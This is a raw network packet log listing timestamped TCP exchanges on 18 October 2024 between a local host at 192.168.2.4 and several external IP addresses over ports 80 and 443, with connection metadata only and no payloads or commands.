Oct 18, 2024 15:04:36.127723932 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:36.128896952 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.129053116 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.129091978 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:36.129159927 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.129169941 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:36.636557102 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:36.646212101 CEST	80	49953	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:36.646270990 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:36.647104025 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:36.656966925 CEST	80	49953	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:36.664135933 CEST	80	49948	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:36.664247036 CEST	49948	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:36.670667887 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:36.679167032 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:36.679233074 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:36.679606915 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:36.688129902 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:36.779057026 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:36.779138088 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:36.780651093 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:36.780658960 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:36.781516075 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:36.823184967 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:36.831866026 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:36.879411936 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:36.938493967 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:36.938723087 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:36.938776016 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.938889980 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.938910007 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:37.383347034 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383424997 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383433104 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.383455038 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383472919 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383480072 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.383519888 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.383528948 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383553982 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383569956 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.383579969 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.383594036 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.384143114 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.384183884 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.384208918 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.384215117 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.384241104 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.384300947 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.384402037 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.384424925 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.384442091 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.384452105 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.384466887 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:37.384470940 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:37.542431116 CEST	80	49953	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:37.542521000 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:37.554709911 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:37.559607983 CEST	80	49953	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:37.609318018 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609337091 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609375000 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609391928 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609407902 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609417915 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609424114 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609417915 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609457970 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609473944 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609473944 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609473944 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609489918 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609499931 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609507084 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.609534979 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609534979 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.609555960 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.614612103 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.614677906 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.614748955 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.614830971 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.636428118 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:37.636461020 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:37.636531115 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:37.636859894 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:37.636873007 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:37.678575039 CEST	80	49920	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:37.678677082 CEST	49920	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:37.768486977 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768577099 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768591881 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768595934 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.768609047 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768632889 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.768651962 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.768755913 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768791914 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768799067 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.768809080 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768826008 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.768840075 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.768851995 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.768872976 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769318104 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769342899 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769359112 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769387960 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769402027 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769783020 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769798994 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769814968 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769826889 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769838095 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769849062 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769859076 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769870043 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.769886971 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.769916058 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.770612955 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.770634890 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.770649910 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.770664930 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.770668030 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.770678997 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.770680904 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.770694017 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.770730972 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.770927906 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.771410942 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.771482944 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.773428917 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.773490906 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.773514032 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.773554087 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.773637056 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.773658991 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.773688078 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.773713112 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.838202000 CEST	80	49953	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:37.838284969 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:37.928234100 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928260088 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928275108 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928325891 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928368092 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928627014 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928653955 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928669930 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928685904 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928694963 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928704023 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928719044 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928728104 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928739071 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928754091 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928754091 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928769112 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928776979 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928786993 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928824902 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.928826094 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.928860903 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929022074 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929037094 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929059982 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929075003 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929085016 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929102898 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929130077 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929263115 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929277897 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929292917 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929316044 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929342031 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929403067 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929418087 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929459095 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929573059 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929589987 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929632902 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929658890 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929673910 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929687977 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929703951 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929713964 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929725885 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929737091 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929752111 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929753065 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929768085 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.929775000 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929805040 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.929825068 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.930289984 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930305004 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930330038 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.930334091 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930346012 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.930356979 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930373907 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930397034 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.930397987 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930414915 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930423021 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.930430889 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930449009 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.930969954 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.930991888 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931003094 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.931009054 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931022882 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931024075 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.931039095 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931041956 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.931052923 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.931061983 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931083918 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.931113005 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:37.931339979 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931353092 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:37.931401968 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.045490980 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.045833111 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.045876980 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.049848080 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091113091 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091131926 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091166973 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091181040 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091196060 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091208935 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091242075 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091312885 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091312885 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091331005 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091351986 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091366053 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091378927 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091420889 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091427088 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091427088 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091435909 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091449976 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091458082 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091470957 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091520071 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091520071 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091535091 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091645956 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091716051 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091731071 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091766119 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091772079 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091779947 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091788054 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091801882 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091857910 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091871023 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091876030 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091876984 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091883898 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091886044 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091901064 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091902971 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.091916084 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091958046 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091972113 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091984987 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.091998100 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092005014 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092005014 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092005014 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092014074 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092024088 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092097998 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092688084 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092709064 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092722893 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092730045 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092742920 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092746973 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092756987 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092757940 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092765093 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092796087 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092802048 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092814922 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092823029 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092832088 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092833042 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092833042 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092842102 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092876911 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092922926 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092936039 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092951059 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.092966080 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.092991114 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093024969 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093103886 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093703985 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093744993 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093746901 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093764067 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093813896 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093827009 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093839884 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093853951 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093853951 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093853951 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.093853951 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093869925 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093885899 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093928099 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.093976974 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094005108 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094018936 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094033003 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094046116 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094079018 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094089031 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094089031 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094089031 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094093084 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094110012 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094115973 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094125032 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094147921 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094147921 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094166040 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094501972 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094516993 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094546080 CEST	80	49956	185.215.113.16	192.168.2.4
